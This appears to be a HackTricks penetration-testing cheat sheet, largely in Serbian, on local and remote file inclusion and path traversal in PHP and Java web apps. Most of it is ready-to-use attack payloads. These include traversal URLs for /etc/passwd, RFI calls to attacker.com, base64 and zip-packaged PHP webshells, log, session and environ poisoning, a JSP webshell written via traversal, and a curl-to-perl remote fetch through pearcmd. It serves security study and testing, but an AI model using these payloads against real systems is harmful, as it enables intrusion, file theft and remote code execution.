File Inclusion/Path traversal
Reading time: 27 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
File Inclusion
Remote File Inclusion (RFI): Fajl se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php ovo je onemogućeno po defaultu (allow_url_include).
Local File Inclusion (LFI): Server učitava lokalni fajl.
Ranivost se javlja kada korisnik na neki način može kontrolisati koji fajl će server učitati.
Ranljive PHP functions: require, require_once, include, include_once
Zanimljiv alat za iskorišćavanje ove ranjivosti: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Kombinovanjem više *nix LFI lista i dodavanjem dodatnih putanja napravio sam ovu:
Pokušajte takođe da zamenite /
sa \
Pokušajte takođe da dodate ../../../../../
Lista koja koristi više tehnika da pronađe fajl /etc/password (da bi se proverilo da li ranjivost postoji) može se naći here
Windows
Spajanje različitih wordlists:
Pokušajte takođe da zamenite /
sa \
Pokušajte takođe da uklonite C:/
i dodate ../../../../../
Lista koja koristi više tehnika da pronađe fajl /boot.ini (da bi se proverilo da li ranjivost postoji) može se naći here
OS X
Proverite LFI listu za linux.
Osnovni LFI i bypasses
Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion takođe (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences uklonjene ne-rekurzivno
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ово је решено од PHP 5.4
Енкодирање
Можете користити нестандардне енкодирања као што су double URL encode (и друге):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Iz postojeće fascikle
Možda back-end proverava putanju foldera:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Istraživanje file system direktorijuma na serveru
File system na serveru može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, koristeći određene tehnike. Ovaj proces podrazumeva određivanje dubine direktorijuma i testiranje postojanja specifičnih foldera. Ispod je detaljna metoda kako to postići:
- Odredite dubinu direktorijuma: Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti
/etc/passwd
fajl (primenljivo ako je server baziran na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu tri:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Dodajte ime sumnjivog foldera (npr.
private
) u URL, a zatim se vratite na/etc/passwd
. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Tumačenje rezultata: Serverov odgovor ukazuje da li direktorijum postoji:
- Greška / Nema izlaza: Direktorijum
private
verovatno ne postoji na navedenoj lokaciji. - Sadržaj
/etc/passwd
: Prisutnost direktorijumaprivate
je potvrđena.
- Rekurzivno istraživanje: Otkriveni direktorijumi mogu se dalje ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li /var/www/
sadrži direktorijum private
(pretpostavljajući da se trenutni direktorijum nalazi na dubini od 3), koristite:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation je metoda koja se koristi za manipulaciju file path-ovima u web aplikacijama. Često se koristi za pristup ograničenim fajlovima tako što zaobilazi određene bezbednosne mere koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon što je bezbednosna mera izmeni, i dalje pokazuje na željeni fajl.
U PHP-u, različite reprezentacije file path-a mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, i/etc/passwd/
se tretiraju kao ista putanja.- Kada poslednjih 6 karaktera glasi
passwd
, dodavanje/
(čineći gapasswd/
) ne menja ciljani fajl. - Slično, ako je
.php
dodat na file path (npr.shellcode.php
), dodavanje/.
na kraju neće izmeniti fajl kojem se pristupa.
Priloženi primeri pokazuju kako iskoristiti path truncation da se pristupi /etc/passwd
, česta meta zbog svog osetljivog sadržaja (informacije o korisničkim nalozima):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj varira u zavisnosti od konfiguracije servera.
- Korišćenje dot segmenata i dodatnih karaktera: Sekvence traversal-a (
../
) kombinovane sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajlsistemom, efektivno ignorišući dodatne stringove koje server prikači. - Određivanje potrebnog broja traversala: Metodom pokušaja i grešaka može se pronaći tačan broj
../
sekvenci potrebnih da se dođe do root direktorijuma i zatim do/etc/passwd
, pri čemu se osigurava da su svi prikačeni stringovi (kao.php
) neutralisani, ali željeni put (/etc/passwd
) ostaje netaknut. - Početak sa lažnim direktorijumom: Uobičajeno je početi putanju sa nepostojećim direktorijumom (npr.
a/
). Ova tehnika se koristi kao mera predostrožnosti ili da zadovolji zahteve serverove logike parsiranja putanja.
Primenom tehnika skraćivanja putanja važno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajlsistema. Svaki scenario može zahtevati drugačiji pristup, pa je često neophodno testiranje da bi se našla najefikasnija metoda.
Ova ranjivost je ispravljena u PHP 5.3.
Trikovi zaobilaženja filtera
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
U php-u je ovo po defaultu onemogućeno jer je allow_url_include
Off. Mora biti On da bi radilo, i u tom slučaju možete include PHP file sa vašeg servera i dobiti RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Ako iz nekog razloga allow_url_include
je On, ali PHP je filtering pristup eksternim web stranicama, according to this post, možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
U prethodnom kodu, finalni +.txt
je dodat zato što je napadaču bio potreban string koji se završava sa .txt
, pa se string završava tim sufiksom i nakon b64 decode taj deo će biti samo besmislica, dok će pravi PHP kod biti uključen (i shodno tome izvršen).
Još jedan primer koji ne koristi php://
protocol bi bio:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python korenski element
U Pythonu, u kodu poput ovog:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Ako korisnik prosledi apsolutnu putanju u file_name
, prethodna putanja se jednostavno uklanja:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Ovo je predviđeno ponašanje prema the docs:
Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente putanje.
Java: listanje direktorijuma
Izgleda da, ako imate Path Traversal u Java i zatražite direktorijum umesto fajla, vraća se lista sadržaja direktorijuma. Ovo se, koliko mi je poznato, neće dešavati u drugim jezicima (afaik).
Top 25 parameters
Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI korišćenjem PHP wrappera i protokola
php://filter
PHP filters omogućavaju izvođenje osnovnih operacija modifikacije nad podacima pre nego što se oni pročitaju ili zapisuju. Postoji 5 kategorija filtera:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Uklanja tagove iz podataka (sve između znakova "<" i ">")- Napomena: ovaj filter je uklonjen u modernim verzijama PHP-a
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformiše u drugo kodiranje (convert.iconv.<input_enc>.<output_enc>
). Da biste dobili spisak svih podržanih kodiranja pokrenite u konzoli:iconv -l
warning
Zlouporabom convert.iconv.*
konverzionog filtera možete generisati proizvoljan tekst, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju poput include da procesuira proizvoljan tekst. Za više informacija pogledajte LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Kompresuje sadržaj (korisno ako eksfiltrirate mnogo informacija)zlib.inflate
: Dekompresuje podatke- Encryption Filters
mcrypt.*
: Zastarjelomdecrypt.*
: Zastarjelo- Ostali filteri
- Pokretanjem u php
var_dump(stream_get_filters());
možete pronaći nekoliko neočekivanih filtera: consumed
dechunk
: poništava HTTP chunked enkodiranjeconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Deo "php://filter" nije osetljiv na velika i mala slova
Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova
In this post predložen je metod za čitanje lokalnog fajla bez vraćanja output-a sa servera. Ovaj metod se zasniva na boolean exfiltration of the file (char by char) using php filters kao oracle. Razlog je što php filters mogu da se iskoriste da uvećaju tekst dovoljno da php baci izuzetak.
U originalnom postu možete naći detaljno objašnjenje tehnike, ali evo kratkog rezimea:
- Koristite codec
UCS-4LE
da ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno. - Ovo će se koristiti da se generiše tekst koji je toliko veliki kada je početno slovo tačno pogođeno da će php pokrenuti error.
- Filter dechunk će ukloniti sve ako prvi karakter nije hexadecimal, pa možemo znati da li je prvi karakter hex.
- Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo pratiti kada uradimo dovoljan broj transformacija da ono prestane biti hexadecimal karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php error.
- Codec convert.iconv.UNICODE.CP930 transformiše svako slovo u sledeće (npr. nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je početno slovo, na primer,
a
jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije hexadecimal karakter, zato ga dechunk ne obriše i php error se pokreće jer se množi sa početnom bombom. - Korišćenjem drugih transformacija kao što je rot13 na početku moguće je leak drugih karaktera kao n, o, p, q, r (i drugi codec-i mogu da se koriste da pomere druga slova u hex opseg).
- Kada je početni karakter broj, potrebno je base64 enkodovati i leak prva 2 slova da leak broj.
- Konačni problem je kako leak više od početnog slova. Korišćenjem order memory filtera kao convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
- I da bi se dobili dalji podaci, ideja je da se generišu 2 bajta junk podataka na početku sa convert.iconv.UTF16.UTF16, primeni UCS-4LE da se pivotira sa naredna 2 bajta, i delete the data until the junk data (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak.
U postu je takođe predstavljen alat za automatsko izvođenje: php_filters_chain_oracle_exploit.
php://fd
Ovaj wrapper omogućava pristup file descriptor-ima koje proces ima otvorene. Potencijalno koristan za izvlačenje sadržaja otvorenih fajlova:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Takođe možete koristiti php://stdin, php://stdout and php://stderr da pristupite file descriptors 0, 1 and 2 respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
zip:// and rar://
Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.
Da biste mogli zloupotrebiti rar protocol, on mora biti posebno aktiviran.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Imajte na umu da je ovaj protokol ograničen php konfiguracijama allow_url_open
i allow_url_include
expect://
Expect mora biti aktiviran. Možete izvršavati kod koristeći ovo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Navedite svoj payload u POST parametrima:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Datoteka .phar
može se iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput include
za učitavanje fajlova. Sledeći PHP primer prikazuje kreiranje .phar
datoteke:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Da biste kompajlirali .phar
fajl, izvršite sledeću komandu:
php --define phar.readonly=0 create_path.php
Po izvršenju biće kreiran fajl nazvan test.phar
, koji bi potencijalno mogao biti iskorišćen za eksploataciju Local File Inclusion (LFI) ranjivosti.
U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega — preko funkcija kao što su file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ili filesize()
— može se pokušati eksploatisanje deserialization vulnerability. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem phar
protokola.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Bilo je moguće zloupotrebiti any arbitrary file read from PHP that supports php filters da bi se dobio RCE. Detaljan opis može biti found in this post.
Veoma kratak rezime: a 3 byte overflow u PHP heap-u je iskorišćen da bi se alter the chain of free chunks određene veličine kako bi bilo moguće write anything in any address, pa je dodat hook koji poziva system
.
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filters.
Više protokola
Pogledajte više mogućih protocols to include here:
- php://memory and php://temp — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion attack)
- file:// — Pristup lokalnom fajl sistemu
- http:// — Pristup HTTP(s) URL-ovima
- ftp:// — Pristup FTP(s) URL-ovima
- zlib:// — Kompresioni tokovi
- glob:// — Pronalazi putanje koje odgovaraju obrascu (Ne vraća ništa čitljivo, tako da nije baš korisno ovde)
- ssh2:// — Secure Shell 2
- ogg:// — Audio tokovi (Nije korisno za čitanje proizvoljnih fajlova)
LFI preko PHP-ove 'assert'
Rizici od Local File Inclusion (LFI) u PHP-u su naročito visoki kada se radi sa funkcijom 'assert', koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava, ali nije pravilno sanitizovan.
Na primer, PHP kod može biti dizajniran da spreči directory traversal na sledeći način:
assert("strpos('$file', '..') === false") or die("");
Iako je ovo namenjeno da zaustavi traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja datoteke, napadač bi mogao da koristi:
' and die(highlight_file('/etc/passwd')) or '
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
' and die(system("id")) or '
Važno je URL-encode these payloads.
PHP Blind Path Traversal
warning
Ova tehnika je relevantna u slučajevima kada vi kontrolišete file path neke PHP function koja će access a file, ali nećete videti sadržaj fajla (npr. jednostavan poziv file()
), odnosno sadržaj nije prikazan.
U this incredible post je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da bi se exfiltrate the content of a file via an error oracle.
Ukratko, tehnika koristi "UCS-4LE" encoding da bi sadržaj fajla bio toliko velik da će PHP funkcija koja otvara fajl izazvati error.
Zatim, da bi se leakovao prvi karakter koristi se filter dechunk
zajedno sa drugim kao što su base64 ili rot13, i na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se postavili drugi karakteri na početak i leak them.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, ..
segmenti i absolute paths mogu pobjeći iz predviđenog direktorijuma i izazvati arbitrary file write. Ako možete postaviti payload ispod web-exposed directory, obično dobijate unauthenticated RCE tako što postavite webshell.
Typical exploitation workflow:
- Identify a write primitive u nekom endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Craft a traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a.
- Browse to the dropped payload i izvršite komande.
Notes:
- Usluga koja vrši zapisivanje može slušati na non-HTTP portu (npr. JMF XML listener on TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
- Na Java stack-ovima, ova zapisivanja fajlova se često implementiraju prostom
File
/Paths
konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Ojačavanje koje onemogućava ovu klasu ranjivosti:
- Rešavajte putanju do kanoničkog oblika i osigurajte da je potomak osnovnog direktorijuma sa liste dozvoljenih.
- Odbacite svaku putanju koja sadrži
..
, apsolutne root putanje ili slova drajva; radije koristite generisane nazive fajlova. - Pokrenite proces pisanja kao nalog sa malim privilegijama i odvojite direktorijume za pisanje od direktorijuma koji se serviraju.
Remote File Inclusion
Objašnjeno ranije, follow this link.
Preko Apache/Nginx log fajla
Ako je Apache ili Nginx server vulnerable to LFI unutar include funkcije, možete pokušati pristupiti /var/log/apache2/access.log
or /var/log/nginx/access.log
, ubaciti u user agent ili u GET parameter php shell kao <?php system($_GET['c']); ?>
i uključiti taj fajl
warning
Imajte u vidu da ako koristite dvostruke navodnike za shell umesto jednostrukih navodnika, dvostruki navodnici će biti promenjeni u string "quote;", PHP će baciti grešku i ništa drugo neće biti izvršeno.
Takođe, uverite se da ste ispravno napisali payload ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
Ovo se može uraditi i u drugim logovima ali budite oprezni, kod unutar logova može biti URL encoded i to može uništiti Shell. Header authorisation "basic" sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može ubaciti unutar ovog headera.
Ostale moguće lokacije log fajlova:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Putem Email-a
Pošaljite mejl na interni nalog (user@localhost) koji sadrži vaš PHP payload poput <?php echo system($_REQUEST["cmd"]); ?>
i pokušajte da uključite mejl korisnika sa putanjom kao /var/mail/<USERNAME>
ili /var/spool/mail/<USERNAME>
Putem /proc//fd/
- Otpremite veliki broj shells (na primer: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, sa $PID = PID procesa (može se brute forced) i $FD = file descriptor (može se brute forced takođe)
Putem /proc/self/environ
Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovano unutar fajla /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Putem otpremanja
Ako možete otpremiti fajl, samo ubacite shell payload u njega (npr: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/doc/pdf
Putem Zip file upload
Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Putem PHP sessions
Proverite da li sajt koristi PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
U PHP ove sesije se čuvaju u /var/lib/php5/sess\[PHPSESSID]_ fajlovima
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Postavi cookie na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Iskoristite LFI da uključite PHP sesijsku datoteku
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Preko ssh
Ako je ssh aktivan, proveri koji korisnik se koristi (/proc/self/status & /etc/passwd) i probaj da pristupiš <HOME>/.ssh/id_rsa
Preko vsftpd logova
Logovi za FTP server vsftpd se nalaze na /var/log/vsftpd.log. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i gde je pristup izloženom vsftpd serveru moguć, mogu se razmotriti sledeći koraci:
- Ubaci PHP payload u polje za korisničko ime tokom procesa prijave.
- Nakon injekcije, iskoristi LFI da preuzmeš server logove sa /var/log/vsftpd.log.
Preko php base64 filter (korišćenjem base64)
Kao što je prikazano u this članku, PHP base64 filter jednostavno ignoriše Non-base64. To možeš iskoristiti da zaobiđeš proveru ekstenzije fajla: ako dostaviš base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Putem php filters (nije potreban fajl)
This writeup objašnjava da možete koristiti php filters to generate arbitrary content kao izlaz. Što u suštini znači da možete generate arbitrary php code za include without needing to write u fajl.
Putem segmentation fault
Upload fajl koji će biti sačuvan kao temporary u /tmp
, zatim u istom requestu izazovite segmentation fault, i onda temporary file won't be deleted pa ga možete potražiti.
LFI2RCE via Segmentation Fault
Putem Nginx temp file storage
Ako ste pronašli Local File Inclusion i Nginx radi ispred PHP-a, možda možete dobiti RCE koristeći sledeću tehniku:
Putem PHP_SESSION_UPLOAD_PROGRESS
Ako ste pronašli Local File Inclusion čak i ako don't have a session i session.auto_start
je Off
. Ako pošaljete PHP_SESSION_UPLOAD_PROGRESS
u multipart POST podacima, PHP će enable the session for you. Ovo možete zloupotrebiti da dobijete RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Putem temp file uploads u Windows
Ako ste pronašli Local File Inclusion i server radi na Windows, možda možete dobiti RCE:
Putem pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Sledeće zloupotrebljava CRLF vuln za dobijanje RCE (iz here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Putem phpinfo() (file_uploads = on)
Ako pronađete Local File Inclusion i fajl koji izlaže phpinfo() sa file_uploads = on, možete dobiti RCE:
Putem compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Ako pronađete Local File Inclusion i možete eksfiltrirati putanju privremenog fajla ALI server proverava da li fajl koji će biti uključen ima PHP oznake, možete pokušati da zaobiđete tu proveru ovom Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Putem eternal waiting + bruteforce
Ako možete iskoristiti LFI da uploadujete privremene fajlove i naterate server da PHP izvršavanje zaglavi, onda možete satima bruteforce-ovati imena fajlova da biste pronašli privremeni fajl:
Do Fatal Error
Ako uključite bilo koji od fajlova /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku).
Ne znam koliko je ovo korisno, ali može biti.
Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su uploadovani se brišu.
.png)
Reference
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
